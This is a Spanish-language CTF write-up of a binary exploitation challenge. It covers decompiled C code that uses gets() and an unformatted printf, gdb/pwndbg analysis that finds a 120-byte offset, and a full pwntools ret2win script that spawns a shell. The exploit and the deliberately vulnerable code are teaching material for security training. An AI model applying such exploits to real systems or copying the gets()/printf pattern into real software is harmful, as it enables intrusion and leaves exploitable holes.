Reto 07


July 16, 20253 minutes

Para el reto se proporciona un binario

int __fastcall main(int argc, const char **argv, const char **envp)
{
  double v3; // xmm0_8
  char nptr[8]; // [rsp+0h] [rbp-70h] BYREF
  __int64 v6; // [rsp+8h] [rbp-68h]
  __int64 v7; // [rsp+10h] [rbp-60h]
  __int64 v8; // [rsp+18h] [rbp-58h]
  __int64 v9; // [rsp+20h] [rbp-50h]
  __int64 v10; // [rsp+28h] [rbp-48h]
  __int64 v11; // [rsp+30h] [rbp-40h]
  __int64 v12; // [rsp+38h] [rbp-38h]
  double v13; // [rsp+48h] [rbp-28h]
  unsigned int v14; // [rsp+54h] [rbp-1Ch]
  double v15; // [rsp+58h] [rbp-18h]
  double v16; // [rsp+60h] [rbp-10h]
  unsigned int v17; // [rsp+6Ch] [rbp-4h]

  *(_QWORD *)nptr = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v17 = 0;
  v16 = 0.0;
  v15 = 0.0;
  v14 = 0;
  start(argc, argv, envp);
  puts("Cuanto es tu capital inicial?");
  gets(nptr);
  v16 = atof(nptr);
  puts("Que tasa esperas de retorno?");
  gets(nptr);
  v15 = atof(nptr);
  puts("Cuanto tiempo estaras invertido?");
  gets(nptr);
  v14 = atoi(nptr);
  v3 = potencia(v14, v15 / 100.0 + 1.0);
  v13 = v3 * v16;
  printf("Despues de ese tiempo tendras %.2f de retorno\n", v3 * v16);
  puts("Cual es tu nombre?");
  gets(nptr);
  printf(nptr);
  puts(", Por ultimo, cual es tu edad?");
  gets(nptr);
  v17 = atoi(nptr);
  printf("Con tu edad: %d tienes un gran futuro por delante!\n", v17);
  return 0;
}

El programa usa 5 veces la función gets la cual es vulnerable, ya que no válida el tamaño del input introducido pudiendo causar desbordamientos del buffer.

Esto se puede probar mandando un input muy largo y esperando un error de segmentation fault

Cuanto es tu capital inicial?
AAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAaAAAAAAA
Que tasa esperas de retorno?

La ejecución no se rompe eso me sorprendió en su momento, ya que debería de saltar un segmentation fault porque se está usando gets, para saber que es lo que estaba pasando use gdb con un breakpoint después del gets

b *main+141

El desbordamiento del buffer se ha hecho correctamente y rsp apunta a las ‘A’ puestas en el input, pero el programa no hace un segmentation fault porque no hay ningun ret.

RSP  0x7fffffffe5b0 ◂— 0x4141414141414141 ('AAAAAAAA')

En la única parte que se hace un return es al final de main.

*RBP  0x4141414141414141 ('AAAAAAAA')
*RSP  0x7fffffffe628 ◂— 0x4141414141414141 ('AAAAAAAA')
*RIP  0x4014a5 (main+465) ◂— ret
────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────
b+ 0x40149f <main+459>    mov    eax, 0     EAX => 0
   0x4014a4 <main+464>    leave
 ► 0x4014a5 <main+465>    ret                                <0x4141414141414141>

Al hacer el return, rip saca su dirección de rsp, como rsp es 0x4141414141414141 (AAAAAAAA) y no es una dirección válida el programa hace un segmentation fault y se detiene.

Para medir cuantos bytes hay que poner hasta llegar al rsp use cyclic

pwndbg> cyclic 300
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
*RSP  0x7fffffffe628 ◂— 'paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa'
*RIP  0x4014a5 (main+465) ◂— ret
pwndbg> cyclic -l paaaaaaa
Finding cyclic pattern of 8 bytes: b'paaaaaaa' (hex: 0x7061616161616161)
Found at offset 120

Desde IDA vi que había una función llamada ejecutar la cual ejecuta con system /bin/sh.

Llegados a este punto solo queda crear el script, que mande un junk de 120 bytes y la dirección de la función ejecutar

$ python3 solve.py LOCAL

[*] 0x401186
[*] Switching to interactive mode

Con tu edad: 0 tienes un gran futuro por delante!
$ whoami
d3bo
#!/usr/bin/env python3

from pwn import *

exe = ELF("./interes_compuesto_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r


def main():
    r = conn()

    offset = 120
    ejecutar = exe.symbols['ejecutar']
    info(hex(ejecutar))

    payload = b'A' * offset
    payload += p64(ejecutar)

    r.sendlineafter('inicial?', b'A')
    r.sendlineafter('retorno?', b'A')
    r.sendlineafter('invertido?', b'A')
    r.sendlineafter('nombre?', b'A')
    r.sendlineafter('edad?', payload)

    # good luck pwning :)

    r.interactive()


if __name__ == "__main__":
    main()